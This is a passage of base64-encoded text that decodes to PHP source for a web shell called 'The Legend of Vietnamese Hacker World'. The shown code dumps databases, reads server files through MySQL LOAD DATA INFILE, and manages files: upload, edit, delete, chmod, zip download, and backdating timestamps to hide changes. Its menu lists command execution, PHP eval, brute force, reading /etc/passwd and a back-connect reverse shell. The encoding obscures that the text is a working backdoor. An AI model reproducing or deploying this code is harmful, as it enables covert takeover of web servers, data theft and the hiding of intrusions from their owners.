2ZsaXAoJHRhYmxlKTsKCSRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOwoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7CgkkbXlzcWxkYXRhID0gJyc7Cgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsKCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7CgkJfQoJfQoJbXlzcWxfY2xvc2UoKTsKCWV4aXQ7Cn0KCi8vIE15c3FsCmlmKCRkb2luZz09J215c3FsZG93bicpewoJaWYgKCEkZGJuYW1lKSB7CgkJJGVycm1zZyA9ICdQbGVhc2UgaW5wdXQgZGJuYW1lJzsKCX0gZWxzZSB7CgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCQlpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsKCQkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsKCQl9IGVsc2UgewoJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7CgkJCWlmKCEkcmVzdWx0KXsKCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsKCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfYW5nZWwgKGNvbnRlbnQgTE9OR0JMT0IgTk9UIE5VTEwpOyIpOwoJCQkJLy9Eb3dubG9hZCBTUUwKCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlzcWxkbGZpbGUpLiInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7CgkJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGNvbnRlbnQgZnJvbSB0bXBfYW5nZWwiKTsKCQkJCXEoIkRST1AgVEFCTEUgdG1wX2FuZ2VsIik7CgkJCX0KCQkJJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsKCQkJaWYgKCEkcm93KSB7CgkJCQkkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJy5teXNxbF9lcnJvcigpOwoJCQl9IGVsc2UgewoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsKCQkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7CgkJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOwoJCQkJZWNobyAkcm93WzBdOwoJCQkJZXhpdDsKCQkJfQoJCX0KCX0KfQoKPz4KCjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPgo8dGl0bGU+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ1RoZSBMZWdlbmQgb2YgVmlldG5hbWVzZSBIYWNrZXIgV29ybGQnKTs/PjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHksdGR7Zm9udDogMTBwdCBUYWhvbWE7Y29sb3I6Z3JheTtsaW5lLWhlaWdodDogMTZweDt9CgphIHtjb2xvcjogIzc0QTIwMjt0ZXh0LWRlY29yYXRpb246bm9uZTt9CmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9Ci5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMwRTBFMEU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm9jdXMgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm91dDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm91dCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9Ci5oZWFkIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQouaGVhZF9zbWFsbCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpub3JtYWw7Zm9udC1zaXplOjhwdDt9Ci5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30KZm9ybXttYXJnaW46MDtwYWRkaW5nOjA7fQpoMnttYXJnaW46MDtwYWRkaW5nOjA7aGVpZ2h0OjI0cHg7bGluZS1oZWlnaHQ6MjRweDtmb250LXNpemU6MTRweDtjb2xvcjojNUI2ODZGO30KdWwuaW5mbyBsaXttYXJnaW46MDtjb2xvcjojNDQ0O2xpbmUtaGVpZ2h0OjI0cHg7aGVpZ2h0OjI0cHg7fQp1e3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjojNzc3O2Zsb2F0OmxlZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJnaW4tcmlnaHQ6MTBweDt9CmlucHV0LCB0ZXh0YXJlYSwgYnV0dG9uCnsKCWZvbnQtc2l6ZTogOXB0OwoJY29sb3I6ICNjY2M7Cglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsKCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7Cglib3JkZXItbGVmdDogMXB4IHNvbGlkICM3NEEyMDI7Cglib3JkZXItdG9wOiAxcHggc29saWQgIzc0QTIwMjsKCWJvcmRlci1yaWdodDogMXB4IHNvbGlkICM3NEEyMDI7Cglib3JkZXItYm90dG9tOiAxcHggc29saWQgIzc0QTIwMjsKfQpzZWxlY3QKewoJZm9udC1zaXplOiA4cHQ7Cglmb250LXdlaWdodDogbm9ybWFsOwoJY29sb3I6ICNjY2M7Cglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsKCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7Cn0KCjwvc3R5bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgewoJZm9yKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspIHsKCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07CgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykKCQllLmNoZWNrZWQgPSBmb3JtLmNoa2FsbC5jaGVja2VkOwogICAgfQp9CmZ1bmN0aW9uICQoaWQpIHsKCXJldHVybiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7Cn0KZnVuY3Rpb24gZ29hY3Rpb24oYWN0KXsKCSQoJ2dvYWN0aW9uJykuYWN0aW9uLnZhbHVlPWFjdDsKCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25Mb2FkPSJpbml0KCkiIHN0eWxlPSJtYXJnaW46MDt0YWJsZS1sYXlvdXQ6Zml4ZWQ7IHdvcmQtYnJlYWs6YnJlYWstYWxsIiBiZ2NvbG9yPWJsYWNrIGJhY2tncm91bmQ9aHR0cDovL2kzODIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9vbzI2My92bmhhY2tlci9iZy0xLmpwZz4KCgo8ZGl2IGJvcmRlcj0iMCIgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAyNXB4OyB6LWluZGV4OiAxOyB0b3A6IDMwMHB4OyBsZWZ0OiAwOyIgaWQ9ImxvYWRpbmciIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0iY2VudGVyIj4KCQkJCTx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMTBweCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMwMDMzMDAiPgoJCQkJCTx0cj4KCQkJCQkJPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj1jZW50ZXI+CgkJCQkgPGRpdiBib3JkZXI9IjEiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMEUwRTBFOyBmaWx0ZXI6IGFscGhhKG9wYWNpdHk9NzApOyBvcGFjaXR5OiAuNzsgd2lkdGg6IDExMHB4OyBoZWlnaHQ6IDI1cHg7IHotaW5kZXg6IDE7IGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IiBib3JkZXJjb2xvcj0iIzAwNjYwMCIgIGFsaWduPSJjZW50ZXIiPgoJCQkJICAgTG9hZGluZzxpbWcgc3JjPSJodHRwOi8vaTM4Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL29vMjYzL3ZuaGFja2VyL2xvYWRpbmcuZ2lmIj4KCQkJCSAgPC9kaXY+CgkJCQk8L3RkPgoJCQkJCTwvdHI+CgkJCQk8L3RhYmxlPgoJCQkgPC9kaXY+CiA8c2NyaXB0PgogdmFyIGxkPShkb2N1bWVudC5hbGwpOwogIHZhciBuczQ9ZG9jdW1lbnQubGF5ZXJzOwogdmFyIG5zNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCYmIWRvY3VtZW50LmFsbDsKIHZhciBpZTQ9ZG9jdW1lbnQuYWxsOwogIGlmIChuczQpCiAJbGQ9ZG9jdW1lbnQubG9hZGluZzsKIGVsc2UgaWYgKG5zNikKIAlsZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibG9hZGluZyIpLnN0eWxlOwogZWxzZSBpZiAoaWU0KQogCWxkPWRvY3VtZW50LmFsbC5sb2FkaW5nLnN0eWxlOwogIGZ1bmN0aW9uIGluaXQoKQogewogaWYobnM0KXtsZC52aXNpYmlsaXR5PSJoaWRkZW4iO30KIGVsc2UgaWYgKG5zNnx8aWU0KSBsZC5kaXNwbGF5PSJub25lIjsKIH0KIDwvc2NyaXB0Pgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KCTx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+CgkJPHRkICB3aWR0aD0xMDAlPgoJCTx0YWJsZSB3aWR0aD0xMDAlPjx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+PHRkPgoJCTxzcGFuIHN0eWxlPSJmbG9hdDpsZWZ0OyI+IDw/cGhwIGVjaG8gIkhvc3RuYW1lOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDxzcGFuPlsgU2VydmVyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iPC9mb250PiI7Pz4gLSBZb3VyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iPC9mb250PiI7Pz4gXSA8L3NwYW4+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij48Zm9udCBjb2xvcj1yZWQ+IExvZ291dDwvZm9udD48L2E+PC9zcGFuPiA8YnIgLz4KCgkJPD9waHAKCQkkY3VybF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpOwoJCSRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsKCQkkbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7CgkJJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOwoJCSRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOwoKZWNobyAoKCRzYWZlX21vZGUpPygiU2FmZV9tb2Q6IDxiPjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiKTooIlNhZmVfbW9kOiA8Yj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiKSk7CmVjaG8gIlBIUCB2ZXJzaW9uOiA8Yj4iLkBwaHB2ZXJzaW9uKCkuIjwvYj4gLSAiOwoJCWVjaG8gImNVUkw6ICIuKCgkY3VybF9vbik/KCI8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIik6KCI8Yj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiKSk7CgkJZWNobyAiTXlTUUw6IDxiPiI7CiRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsKaWYoJG15c3FsX29uKXsKZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7IH0gZWxzZSB7IGVjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7IH0KZWNobyAiTVNTUUw6IDxiPiI7CiRtc3NxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKTsKaWYoJG1zc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIjt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiO30KZWNobyAiUG9zdGdyZVNRTDogPGI+IjsKJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOwppZigkcGdfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7fQplY2hvICJPcmFjbGU6IDxiPiI7CiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOwppZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj48QlI+Ijt9CgplY2hvICJEaXNhYmxlIGZ1bmN0aW9ucyA6IDxiPiI7CmlmKCcnPT0oJGRmPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSl7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+Tk9ORTwvZm9udD48L2I+PEJSPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+PEJSPiI7fQoKZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+VW5hbWUgLWE8L2ZvbnQ+OiAiLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiI7CmVjaG8gIjxmb250IGNvbG9yPXdoaXRlPlNlcnZlcjwvZm9udD46ICIuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iIC0gPGZvbnQgY29sb3I9d2hpdGU+aWQ8L2ZvbnQ+OiAiLkBnZXRteXVpZCgpLiIoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpIC0gdWlkPSIuQGdldG15dWlkKCkuIiAoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpIGdpZD0iLkBnZXRteWdpZCgpLiIoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpPGJyPiI7CgkJPz4KCQk8L3RkPjwvdHI+PC90YWJsZT48L3RkPgoJPC90cj4KCTx0ciBjbGFzcz0iYWx0MSI+CgkJPHRkICB3aWR0aD0xMCU+CgkJCQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdmaWxlJyk7Ij5GaWxlIE1hbmFnZXI8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsZmlsZScpOyI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NoZWxsJyk7Ij5FeGVjdXRlIENvbW1hbmQ8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZXZhbCcpOyI+RXZhbCBQSFAgQ29kZTwvYT4KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JydXRlJyk7Ij5CcnV0ZTwvYT4gPD9waHAgfT8+CgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdldGNwd2QnKTsiPi9ldGMvcGFzc3dkPC9hPiA8P3BocCB9Pz4KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JhY2tjb25uZWN0Jyk7Ij5CYWNrIENvbm5lY3Q8L2E+PD9waHAgfT8+CgkJPC90ZD4KCTwvdHI+CjwvdGFibGU+Cjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPgo8P3BocAoKZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7Cm1ha2VoaWRlKCdhY3Rpb24nKTsKZm9ybWZvb3QoKTsKCiRlcnJtc2cgJiYgbSgkZXJybXNnKTsKCi8vIERpciBmdW5jdGlvbgohJGRpciAmJiAkZGlyID0gJy4nOwokbm93cGF0aCA9IGdldFBhdGgoU0FfUk9PVCwgJGRpcik7CmlmIChzdWJzdHIoJGRpciwgLTEpICE9ICcvJykgewoJJGRpciA9ICRkaXIuJy8nOwp9CiR1ZWRpciA9IHVlKCRkaXIpOwoKaWYgKCEkYWN0aW9uIHx8ICRhY3Rpb24gPT0gJ2ZpbGUnKSB7CgoJLy8gTm9uLXdyaXRlYWJsZQoJJGRpcl93cml0ZWFibGUgPSBAaXNfd3JpdGFibGUoJG5vd3BhdGgpID8gJ1dyaXRhYmxlJyA6ICdOb24td3JpdGFibGUnOwoKCS8vIERlbGV0ZSBkaXIKCWlmICgkZG9pbmcgPT0gJ2RlbGRpcicgJiYgJHRoZWZpbGUpIHsKCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgewoJCQltKCR0aGVmaWxlLicgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gQ3JlYXRlIG5ldyBkaXIKCWVsc2VpZiAoJG5ld2Rpcm5hbWUpIHsKCQkkbWtkaXJzID0gJG5vd3BhdGguJG5ld2Rpcm5hbWU7CgkJaWYgKGZpbGVfZXhpc3RzKCRta2RpcnMpKSB7CgkJCW0oJ0RpcmVjdG9yeSBoYXMgYWxyZWFkeSBleGlzdGVkJyk7CgkJfSBlbHNlIHsKCQkJbSgnRGlyZWN0b3J5IGNyZWF0ZWQgJy4oQG1rZGlyKCRta2RpcnMsMDc3NykgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCQlAY2htb2QoJG1rZGlycywwNzc3KTsKCQl9Cgl9CgoJLy8gVXBsb2FkIGZpbGUKCWVsc2VpZiAoJGRvdXBmaWxlKSB7CgkJbSgnRmlsZSB1cGxvYWQgJy4oQGNvcHkoJF9GSUxFU1sndXBsb2FkZmlsZSddWyd0bXBfbmFtZSddLCR1cGxvYWRkaXIuJy8nLiRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7Cgl9CgoJLy8gRWRpdCBmaWxlCgllbHNlaWYgKCRlZGl0ZmlsZW5hbWUgJiYgJGZpbGVjb250ZW50KSB7CgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsKCQltKCdTYXZlIGZpbGUgJy4oQGZ3cml0ZSgkZnAsJGZpbGVjb250ZW50KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJQGZjbG9zZSgkZnApOwoJfQoKCS8vIE1vZGlmeQoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsKCQlpZiAoIWZpbGVfZXhpc3RzKCRwZmlsZSkpIHsKCQkJbSgnVGhlIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkbmV3cGVybSA9IGJhc2VfY29udmVydCgkbmV3cGVybSw4LDEwKTsKCQkJbSgnTW9kaWZ5IGZpbGUgYXR0cmlidXRlcyAnLihAY2htb2QoJHBmaWxlLCRuZXdwZXJtKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIFJlbmFtZQoJZWxzZWlmICgkb2xkbmFtZSAmJiAkbmV3ZmlsZW5hbWUpIHsKCQkkbm5hbWUgPSAkbm93cGF0aC4kbmV3ZmlsZW5hbWU7CgkJaWYgKGZpbGVfZXhpc3RzKCRubmFtZSkgfHwgIWZpbGVfZXhpc3RzKCRvbGRuYW1lKSkgewoJCQltKCRubmFtZS4nIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCW0oYmFzZW5hbWUoJG9sZG5hbWUpLicgcmVuYW1lZCAnLmJhc2VuYW1lKCRubmFtZSkuKEByZW5hbWUoJG9sZG5hbWUsJG5uYW1lKSA/ICcgc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyBDb3B1CgllbHNlaWYgKCRzbmFtZSAmJiAkdG9maWxlKSB7CgkJaWYgKGZpbGVfZXhpc3RzKCR0b2ZpbGUpIHx8ICFmaWxlX2V4aXN0cygkc25hbWUpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJbShiYXNlbmFtZSgkdG9maWxlKS4nIGNvcGllZCAnLihAY29weSgkc25hbWUsJHRvZmlsZSkgPyBiYXNlbmFtZSgkdG9maWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gRmlsZSBleGl0CgllbHNlaWYgKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7CgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpIHx8ICFAZmlsZV9leGlzdHMoJHRhcmZpbGUpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJJHRpbWUgPSBAZmlsZW10aW1lKCR0YXJmaWxlKTsKCQkJbSgnTW9kaWZ5IGZpbGUgdGhlIGxhc3QgbW9kaWZpZWQgJy4oQHRvdWNoKCRjdXJmaWxlLCR0aW1lLCR0aW1lKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIERhdGUKCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7CgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpKSB7CgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7CgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyBEb3dubG9hZAoJZWxzZWlmKCRkb2luZyA9PSAnZG93bnJhcicpIHsKCQlpZiAoJGRsKSB7CgkJCSRkZmlsZXM9Jyc7CgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7CgkJCQkkZGZpbGVzLj0kZmlsZXBhdGguJywnOwoJCQl9CgkJCSRkZmlsZXM9c3Vic3RyKCRkZmlsZXMsMCxzdHJsZW4oJGRmaWxlcyktMSk7CgkJCSRkbD1leHBsb2RlKCcsJywkZGZpbGVzKTsKCQkJJHppcD1uZXcgUEhQWmlwKCRkbCk7CgkJCSRjb2RlPSR6aXAtPm91dDsKCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOwoJCQloZWFkZXIoJ0FjY2VwdC1SYW5nZXM6IGJ5dGVzJyk7CgkJCWhlYWRlcignQWNjZXB0LUxlbmd0aDogJy5zdHJsZW4oJGNvZGUpKTsKCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFyLmd6Jyk7CgkJCWVjaG8gJGNvZGU7CgkJCWV4aXQ7CgkJfSBlbHNlIHsKCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7CgkJfQoJfQoKCS8vIERlbGV0ZSBmaWxlCgllbHNlaWYoJGRvaW5nID09ICdkZWxmaWxlcycpIHsKCQlpZiAoJGRsKSB7CgkJCSRkZmlsZXM9Jyc7CgkJCSRzdWNjID0gJGZhaWwgPSAwOwoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgewoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgewoJCQkJCSRzdWNjKys7CgkJCQl9IGV